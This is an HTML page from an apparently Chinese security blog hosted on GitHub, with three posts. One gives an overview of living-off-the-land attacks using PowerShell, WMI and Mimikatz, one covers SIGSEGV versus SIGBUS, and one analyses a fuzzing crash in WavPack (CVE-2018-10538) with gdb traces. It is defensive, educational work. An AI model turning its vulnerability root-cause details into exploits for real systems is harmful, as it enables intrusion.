-
Notifications
You must be signed in to change notification settings - Fork 4
/
index.html
1078 lines (839 loc) · 164 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html>
<head><meta name="generator" content="Hexo 3.8.0">
<meta charset="utf-8">
<title>拾荒者CD</title>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="description" content="follow your heart!fly your dream!">
<meta name="keywords" content="Pwn,ICS,Python">
<meta property="og:type" content="website">
<meta property="og:title" content="拾荒者CD">
<meta property="og:url" content="http://gumeng.fun/index.html">
<meta property="og:site_name" content="拾荒者CD">
<meta property="og:description" content="follow your heart!fly your dream!">
<meta property="og:locale" content="En">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="拾荒者CD">
<meta name="twitter:description" content="follow your heart!fly your dream!">
<link rel="alternate" href="/atom.xml" title="拾荒者CD" type="application/atom+xml">
<link rel="icon" href="/favicon.png">
<link href="//fonts.googleapis.com/css?family=Source+Code+Pro" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/prism.css" type="text/css"></head>
</html>
<body>
<div id="container">
<div id="wrap">
<header id="header">
<div id="banner"></div>
<div id="header-outer" class="outer">
<div id="header-title" class="inner">
<h1 id="logo-wrap">
<a href="/" id="logo">拾荒者CD</a>
</h1>
<h2 id="subtitle-wrap">
<a href="/" id="subtitle">Pwner in ICS/Linux,Linux amateur, Python Exploit developer/addict</a>
</h2>
</div>
<div id="header-inner" class="inner">
<nav id="main-nav">
<a id="main-nav-toggle" class="nav-icon"></a>
<a class="main-nav-link" href="/">Home</a>
<a class="main-nav-link" href="/archives">Archives</a>
</nav>
<nav id="sub-nav">
<a id="nav-rss-link" class="nav-icon" href="/atom.xml" title="RSS Feed"></a>
<a id="nav-search-btn" class="nav-icon" title="Search"></a>
</nav>
<div id="search-form-wrap">
<form action="//google.com/search" method="get" accept-charset="UTF-8" class="search-form"><input type="search" name="q" class="search-form-input" placeholder="Search"><button type="submit" class="search-form-submit"></button><input type="hidden" name="sitesearch" value="http://gumeng.fun"></form>
</div>
</div>
</div>
</header>
<div class="outer">
<section id="main">
<article id="post-living-off-the-land-attacks" class="article article-type-post" itemscope="" itemprop="blogPost">
<div class="article-meta">
<a href="/2023/05/25/living-off-the-land-attacks/" class="article-date">
<time datetime="2023-05-25T11:43:03.000Z" itemprop="datePublished">2023-05-25</time>
</a>
</div>
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2023/05/25/living-off-the-land-attacks/">living-off-the-land-attacks</a>
</h1>
</header>
<div class="article-entry" itemprop="articleBody">
<p>“ living-off-the-land ”攻击技术(LOTL)是一种无文件恶意软件或利用链网络攻击技术,攻击者使用受害者系统中的本机合法工具来维持和推进攻击。</p>
<h1 id="“本地为生”的-LOTL-是如何运作的"><a href="#“本地为生”的-LOTL-是如何运作的" class="headerlink" title="“本地为生”的(LOTL)是如何运作的?"></a>“本地为生”的(LOTL)是如何运作的?</h1><p>与利用签名文件执行攻击计划的传统恶意软件攻击不同,LOTL攻击是无文件的——这意味着攻击者不需要在目标系统中安装任何代码或脚本。相反,攻击者使用环境中已经存在的工具,例如PowerShell、Windows Management Instrumentation (WMI)或密码保存工具Mimikatz来执行攻击。</p>
<p>使用本地工具使LOTL攻击更难以检测,特别是如果组织利用传统的安全工具来搜索已知的恶意软件脚本或文件。由于安全工具集的这个漏洞,黑客经常能够在受害者的环境中潜伏数周、数月甚至数年而不被发现。</p>
<h2 id="LOTL工具"><a href="#LOTL工具" class="headerlink" title="LOTL工具"></a>LOTL工具</h2><p>如果攻击者不需要安装代码来发起无文件恶意软件攻击,那么他们如何获得对环境的访问权限,以便修改其本地工具以达到他们的目的?访问可以通过几种方式完成,例如通过使用:</p>
<p>利用工具</p>
<ol>
<li>劫持本地工具</li>
<li>注册表驻留恶意软件</li>
<li>内存的恶意软件</li>
<li>Fileless ransomware</li>
<li>偷来的凭证</li>
</ol>
<h3 id="利用工具1:劫持本地工具"><a href="#利用工具1:劫持本地工具" class="headerlink" title="利用工具1:劫持本地工具"></a>利用工具1:劫持本地工具</h3><p>漏洞是代码片段、命令序列或数据集合;漏洞利用工具包是漏洞利用的集合。攻击者利用这些工具利用已知存在于操作系统或已安装应用程序中的漏洞。<br>漏洞利用是发起无文件恶意软件攻击(如LOTL攻击)的有效方法,因为它们可以直接注入内存,而不需要向磁盘写入任何内容。攻击者可以使用它们来自动进行大规模的初始妥协。</p>
<p>无论攻击是无文件攻击还是使用传统恶意软件,漏洞利用都以同样的方式开始。通常,受害者是通过网络钓鱼邮件或社交工程来引诱的。攻击工具包通常包括针对许多漏洞的攻击,以及攻击者可以用来控制系统的管理控制台。在某些情况下,漏洞利用工具包将包括扫描目标系统的漏洞,然后在运行中制作和启动定制的漏洞利用的能力。</p>
<p>劫持本地工具或两用工具</p>
<p>在LOTL攻击中,攻击者通常劫持合法工具来升级权限、访问不同的系统和网络、窃取或加密数据、安装恶意软件、设置后门接入点或以其他方式推进攻击路径。本地或两用工具的例子包括:</p>
<p>FTP (File transfer protocol)客户端或系统功能,如PsExec</p>
<p>取证工具,如密码提取工具Mimikatz</p>
<p>PowerShell,一个脚本启动框架,为Windows设备管理提供了广泛的功能</p>
<p>WMI,用于访问各种Windows组件的接口</p>
<p>注册表驻留恶意软件</p>
<p>注册表驻留恶意软件是一种恶意软件,它将自己安装在Windows注册表中,以便在逃避检测的同时保持持久性。</p>
<p>通常,Windows系统是通过使用下载恶意文件的滴管程序感染的。此恶意文件在目标系统上保持活动状态,这使得它容易被防病毒软件检测到。无文件恶意软件也可能使用dropper程序,但它不下载恶意文件。相反,dropper程序本身直接将恶意代码写入Windows注册表中。</p>
<p>恶意代码可以被编程为每次操作系统启动时启动,并且没有恶意文件可以被发现-恶意代码隐藏在不受反病毒检测的本地文件中。</p>
<p>这类攻击最古老的变种是Poweliks,但此后出现了许多变种,包括Kovter和GootKit。修改注册表项的恶意软件很可能在很长一段时间内不被发现。</p>
<p>内存的恶意软件</p>
<p>内存型恶意软件只存在于内存中。仅内存恶意软件的一个例子是Duqu蠕虫,它可以保持不被检测到,因为它只驻留在内存中。Duqu 2.0有两个版本;第一种是后门,允许对手在组织中获得立足点。然后,攻击者可以使用Duqu 2.0的高级版本,该版本提供了侦察、横向移动和数据泄露等附加功能。Duqu 2.0已经被用来成功入侵电信行业的公司和至少一家知名的安全软件提供商。</p>
<p>Fileless Ransomware</p>
<p>对手并不局限于一种攻击方式。他们使用任何能帮助他们捕获有效载荷的技术。今天,勒索软件攻击者正在使用无文件技术,通过使用nati将恶意代码嵌入到文档中</p>
</div>
<footer class="article-footer">
<a data-url="http://gumeng.fun/2023/05/25/living-off-the-land-attacks/" data-id="cli32j4ni002x7cvkq2q3zk3u" class="article-share-link">Share</a>
</footer>
</div>
</article>
<article id="post-20220608-Linux中SIGSEGV和SIGBUS的异同" class="article article-type-post" itemscope="" itemprop="blogPost">
<div class="article-meta">
<a href="/2022/06/08/20220608-Linux中SIGSEGV和SIGBUS的异同/" class="article-date">
<time datetime="2022-06-08T00:48:08.000Z" itemprop="datePublished">2022-06-08</time>
</a>
</div>
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2022/06/08/20220608-Linux中SIGSEGV和SIGBUS的异同/">20220608-Linux中SIGSEGV和SIGBUS的异同</a>
</h1>
</header>
<div class="article-entry" itemprop="articleBody">
<p>SIGSEGV和SIGBUS的异同</p>
<h1 id="1-官方说法"><a href="#1-官方说法" class="headerlink" title="1.官方说法"></a>1.官方说法</h1><p>(1)官方说法是:<br>SIGSEGV — Segment Fault. The possible cases of your encountering this error are: </p>
<p>1.buffer overflow — usually caused by a pointer reference out of range.<br>//缓冲区溢出—通常由指针引用超出范围引起。</p>
<p>2.stack overflow — please keep in mind that the default stack size is 8192K.<br>//堆栈溢出—请记住默认堆栈大小是8192K。</p>
<p>3.illegal file access — file operations are forbidden on our judge system.<br>//非法文件访问—我们的裁判系统禁止文件操作。</p>
<h1 id="2-两者区别"><a href="#2-两者区别" class="headerlink" title="2.两者区别"></a>2.两者区别</h1><p>(1) SIGBUS(Bus error)意味着指针所对应的地址是有效地址,但总线不能正常使用该指针。通常是未对齐的数据访问所致。</p>
<p>(2) SIGSEGV(Segment fault)意味着指针所对应的地址是无效地址,没有物理内存对应该地址。</p>
<h1 id="3-Linux的mmap-2-手册页中涉及两个信号量"><a href="#3-Linux的mmap-2-手册页中涉及两个信号量" class="headerlink" title="3.Linux的mmap(2)手册页中涉及两个信号量"></a>3.Linux的mmap(2)手册页中涉及两个信号量</h1><hr>
<p>使用映射可能涉及到如下信号</p>
<p>SIGSEGV</p>
<pre><code>试图对只读映射区域进行写操作
</code></pre><p>SIGBUS </p>
<pre><code>试图访问一块无文件内容对应的内存区域,比如超过文件尾的内存区域,或者以前有文件内容对应,现在为另一进程截断过的内存区域。
</code></pre><hr>
<h1 id="4-1-Linux下简单操作步骤"><a href="#4-1-Linux下简单操作步骤" class="headerlink" title="4.1 Linux下简单操作步骤"></a>4.1 Linux下简单操作步骤</h1><p>弄清楚错误以后,就要查找产生错误的根源,一般用以下两种方法:<br>(1)gcc -g 编译<br> ulimit -c 20000<br> 之后运行程序,等core dump<br> 最后gdb -c core <exec file=""><br> 来查调用栈<br>(2)使用strace execfile,运行程序,出错时会显示那个系统调用错</exec></p>
</div>
<footer class="article-footer">
<a data-url="http://gumeng.fun/2022/06/08/20220608-Linux中SIGSEGV和SIGBUS的异同/" data-id="cli32j4nj00307cvkrhkdvfr3" class="article-share-link">Share</a>
</footer>
</div>
</article>
<article id="post-20220516-初探wavpack测试crashes文件分析" class="article article-type-post" itemscope="" itemprop="blogPost">
<div class="article-meta">
<a href="/2022/05/14/20220516-初探wavpack测试crashes文件分析/" class="article-date">
<time datetime="2022-05-14T00:42:53.000Z" itemprop="datePublished">2022-05-14</time>
</a>
<div class="article-category">
<a class="article-category-link" href="/categories/模糊测试/">模糊测试</a>
</div>
</div>
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2022/05/14/20220516-初探wavpack测试crashes文件分析/">CVE-2018-10538 初探wavpack测试crashes样本分析</a>
</h1>
</header>
<div class="article-entry" itemprop="articleBody">
<h1 id="CVE-2018-10538"><a href="#CVE-2018-10538" class="headerlink" title="CVE-2018-10538"></a>CVE-2018-10538</h1><p>  前期通过CVE-2018-10538复现环境,可以发现CVE issue问题描述为:An issue was discovered in WavPack 5.1.0 and earlier for WAV input. Out-of-bounds writes can occur because ParseRiffHeaderConfig in riff.c does not validate the sizes of unknown chunks before attempting memory allocation, related to a lack of integer-overflow protection within a bytes_to_copy calculation and subsequent malloc call, leading to insufficient memory allocation.</p>
<p>  最近使用afl对wavpack进行了一次模糊测试,跑出来了15个crashes,针对其中test09.wav样本进行一下分析,对应CVE-2018-10538。如有错误请各位大佬多多指教。</p>
<h1 id="1-关于崩溃样本文件"><a href="#1-关于崩溃样本文件" class="headerlink" title="1 关于崩溃样本文件"></a>1 关于崩溃样本文件</h1><p>  crash09-关于id_000009,sig_11,src_001266,time_25197388,op_havoc,rep_16,出自afl fuzz的结果,系统栈帧崩溃时的backtrace如下:</p>
<figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ <span class="keyword">bt</span></span><br><span class="line">#<span class="number">0</span> __memmove_avx_unaligned_erms () <span class="meta">at</span> ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:<span class="number">416</span></span><br><span class="line">#<span class="number">1</span> <span class="number">0x00007ffff7a2438e</span> <span class="keyword">in</span> __GI__IO_file_xsgetn (fp=<span class="number">0x555555675580</span>, data=<optimized <span class="keyword">out</span>>, n=<span class="number">0x95959596</span>) <span class="meta">at</span> fileops.c:<span class="number">1304</span></span><br><span class="line">#<span class="number">2</span> <span class="number">0x00007ffff7a17f13</span> <span class="keyword">in</span> __GI__IO_fread (buf=<span class="number">0x0</span>, size=size@entry=<span class="number">0x1</span>, count=count@entry=<span class="number">0x95959596</span>, fp=fp@entry=<span class="number">0x555555675580</span>) <span class="meta">at</span> iofread.c:<span class="number">38</span></span><br><span class="line">#<span class="number">3</span> <span class="number">0x00005555555b4cd6</span> <span class="keyword">in</span> fread (__stream=<span class="number">0x555555675580</span>, __n=<span class="number">0x95959596</span>, __size=<span class="number">0x1</span>, __<span class="built_in">ptr</span>=<optimized <span class="keyword">out</span>>) <span class="meta">at</span> /usr/include/x86_64-linux-gnu/<span class="meta">bits</span>/stdio2.h:<span class="number">297</span></span><br><span class="line">#<span class="number">4</span> DoReadFile (hFile=hFile@entry=<span class="number">0x555555675580</span>, lpBuffer=lpBuffer@entry=<span class="number">0x0</span>, nNumberOfBytesToRead=nNumberOfBytesToRead@entry=<span class="number">0x95959596</span>, </span><br><span class="line"> lpNumberOfBytesRead=lpNumberOfBytesRead@entry=<span class="number">0x7fffffffba0c</span>) <span class="meta">at</span> utils.c:<span class="number">618</span></span><br><span class="line">#<span class="number">5</span> <span class="number">0x000055555559c086</span> <span class="keyword">in</span> ParseRiffHeaderConfig (infile=<span class="number">0x555555675580</span>, infilename=<span class="number">0x5555556752c0</span> <span class="string">"test09.wav"</span>, fourcc=<optimized <span class="keyword">out</span>>, wpc=<span class="number">0x555555675300</span>, </span><br><span class="line"> config=<span class="number">0x7fffffffbc60</span>) <span class="meta">at</span> riff.c:<span class="number">296</span></span><br><span class="line">#<span class="number">6</span> <span class="number">0x0000555555599386</span> <span class="keyword">in</span> pack_file (infilename=<span class="number">0x5555556752c0</span> <span class="string">"test09.wav"</span>, outfilename=<span class="number">0x5555556752e0</span> <span class="string">"test09.wv"</span>, out2filename=<span class="number">0x0</span>, config=<optimized <span class="keyword">out</span>>)</span><br><span class="line"> <span class="meta">at</span> wavpack.c:<span class="number">1776</span></span><br><span class="line">#<span class="number">7</span> <span class="number">0x000055555555af58</span> <span class="keyword">in</span> main (argc=<optimized <span class="keyword">out</span>>, argc@entry=<span class="number">0x3</span>, argv=<optimized <span class="keyword">out</span>>, argv@entry=<span class="number">0x7fffffffe338</span>) <span class="meta">at</span> wavpack.c:<span class="number">1272</span></span><br><span class="line">#<span class="number">8</span> <span class="number">0x00007ffff79b90b3</span> <span class="keyword">in</span> __libc_start_main (main=<span class="number">0x555555557600</span> <main>, argc=<span class="number">0x3</span>, argv=<span class="number">0x7fffffffe338</span>, init=<optimized <span class="keyword">out</span>>, fini=<optimized <span class="keyword">out</span>>, </span><br><span class="line"> rtld_fini=<optimized <span class="keyword">out</span>>, stack_end=<span class="number">0x7fffffffe328</span>) <span class="meta">at</span> ../csu/libc-start.c:<span class="number">308</span></span><br><span class="line">#<span class="number">9</span> <span class="number">0x000055555556d8ee</span> <span class="keyword">in</span> _start ()</span><br></pre></td></tr></table></figure>
<p>  其中,#3,#4分别表示在fread和utils.c 618行函数DoReadFile出现错误,从具体调用关系上看,#4在调用#3过程中,需要调用fread函数,fread函数的标准释义是:</p>
<blockquote>
<p>size_t fread( void <em>restrict buffer, size_t size, size_t count, FILE </em>restrict stream );</p>
</blockquote>
<p>  其中restrict buffer表示要拷贝数据,从steam中读取size*count个字节数据到buffer中,在执行文件中发现 实际参数值为buf=0x0, size=size@entry=0x1, count=count@entry=0x95959596, fp=fp@entry=0x555555675580。一般而言,系统函数库中的函数一般不会出错的,出错的问题在于我们调用时使用了不正确的参数或者地址,导致系统出错。跟着bt的结果,我们一步步发掘系统报段错误的原因:</p>
<hr>
<h1 id="2-分析崩溃原因"><a href="#2-分析崩溃原因" class="headerlink" title="2 分析崩溃原因"></a>2 分析崩溃原因</h1><p>  崩溃前最后一个自写的函数就是DoReadFile,函数调用参数分别如下<br> (buf=0x0, size=size@entry=0x1, count=count@entry=0x95959596, fp=fp@entry=0x555555675580) </p>
<figure class="highlight less"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">Breakpoint</span> <span class="selector-tag">1</span>, <span class="selector-tag">DoReadFile</span> (hFile=hFile<span class="variable">@entry</span>=<span class="number">0</span>x555555675580, </span><br><span class="line"> lpBuffer=lpBuffer<span class="variable">@entry</span>=<span class="number">0</span>x7fffffffbb4c, </span><br><span class="line"> nNumberOfBytesToRead=nNumberOfBytesToRead<span class="variable">@entry</span>=<span class="number">0</span>x8, </span><br><span class="line"> lpNumberOfBytesRead=lpNumberOfBytesRead<span class="variable">@entry</span>=<span class="number">0</span>x7fffffffbb1c) <span class="selector-tag">at</span> <span class="selector-tag">utils</span><span class="selector-class">.c</span><span class="selector-pseudo">:620</span></span><br><span class="line"></span><br><span class="line"><span class="selector-tag">0x000055555559b3fa</span> <span class="selector-tag">in</span> <span class="selector-tag">ParseRiffHeaderConfig</span> (infile=<span class="number">0</span>x555555675580, </span><br><span class="line"> infilename=<span class="number">0</span>x455641570003877c <<span class="attribute">error</span>: Cannot access memory at address <span class="number">0</span>x455641570003877c>, fourcc=<optimized out>, wpc=<span class="number">0</span>x555555675300, config=<span class="number">0</span>x7fffffffbd70) <span class="selector-tag">at</span> <span class="selector-tag">riff</span><span class="selector-class">.c</span><span class="selector-pseudo">:75</span></span><br><span class="line"><span class="selector-tag">75</span> <span class="selector-tag">if</span> ((!DoReadFile (infile, ((char *) &riff_chunk_header) + <span class="number">4</span>, sizeof (RiffChunkHeader) - <span class="number">4</span>, &bcount) ||</span><br></pre></td></tr></table></figure>
<h2 id="2-1-分析Core-dump文件"><a href="#2-1-分析Core-dump文件" class="headerlink" title="2.1 分析Core dump文件"></a>2.1 分析Core dump文件</h2><p>core转储文件可以用于发现具体错误点,core dump文件需要提前设置,这里不再过多赘述。从分析core dump文件开始,发现报错是出现了glibc文件之中。</p>
<h2 id="2-2-分析出错代码位置"><a href="#2-2-分析出错代码位置" class="headerlink" title="2.2 分析出错代码位置"></a>2.2 分析出错代码位置</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Core was generated by `./cli/wavpack -y test09.wav<span class="string">'.</span></span><br><span class="line"><span class="string">Program terminated with signal SIGSEGV, Segmentation fault.</span></span><br><span class="line"><span class="string">#0 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:416</span></span><br></pre></td></tr></table></figure>
<p>出错的代码部分,fileops.c:1304行,glibc版本为2.3.1,在线链接是:<a href="https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/fileops.c:" target="_blank" rel="noopener">https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/fileops.c:</a></p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> (want > <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> </span><br><span class="line"> have = fp->_IO_read_end - fp->_IO_read_ptr;</span><br><span class="line"> <span class="keyword">if</span> (want <= have) ## 第二部分,输入缓冲区里已经有足够的字符,则直接把缓冲区里的字符给目标buff</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">memcpy</span> (s, fp->_IO_read_ptr, want);</span><br><span class="line"> fp->_IO_read_ptr += want;</span><br><span class="line"> want = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (have > <span class="number">0</span>) ## 第三部分,输入缓冲区里有部分字符,但是没有达到fread的size需求,先把已有的拷贝至目标buff</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">memcpy</span> (s, fp->_IO_read_ptr, have); <<<============程序运行到这一步报错,fileops.c:<span class="number">1304</span>行</span><br><span class="line"> s += have;</span><br><span class="line"> want -= have;</span><br><span class="line"> fp->_IO_read_ptr += have;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<h2 id="2-3-拷贝内存时报错"><a href="#2-3-拷贝内存时报错" class="headerlink" title="2.3 拷贝内存时报错"></a>2.3 拷贝内存时报错</h2><p>  在memcpy函数拷贝数据出现越界,第1个参数*s为数据data,拷贝的目标地址,第二个fp参数,拷贝的源地址,fp->_IO_read_ptr是FILE结构体的一部分,偏移为8,表示读取的起始地址。have表示传入数据长度。在IO_FILE结构体中,fp也是一个IO_FILE结构体,遵从IO_FILE标准结构。</p>
<p><img src="/img/wavpack代码行1.png" alt="代码报错fileops.c:1304"></p>
<p>  程序运行逻辑中,have表示实际能够存储的内存大小,want表示当前传入的参数,报错上下文也就是want = 0x95959596。此时,have < want,因此,程序进入if (have > 0)对应的逻辑块,程序直接如上图所示的代码行,直接从_IO_read_ptr标记的内存处拷贝have个大小的,该部分可能并不会引起溢出</p>
<p>  可以看到file类型的fp函数IO_read_ptr地址偏移为8,通过gdb-peda看到fp第二个地址为_IO_read_ptr=0x555555676258,最大读指针地址_IO_read_end=0x55555555676940,其中可读取空间包括0x940-0x258=0x6E8个地址空间。memcpy如果执行复制n=0x95959596(大约相当于2G内存)后,_IO_read_ptr(0x555555676258)+ n(0x95959596)= 0x5555EAFCF7EE > 程序所在内存空间,导致覆盖了0x0x555555676258~0x55555EAFCF7EE范围的数据,这一覆盖范围远远大于映射的内存区域,导致出现段错误,但这个只是我们的猜想。</p>
<p>还原整个调试过程,如下所示:</p>
<figure class="highlight crystal"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span 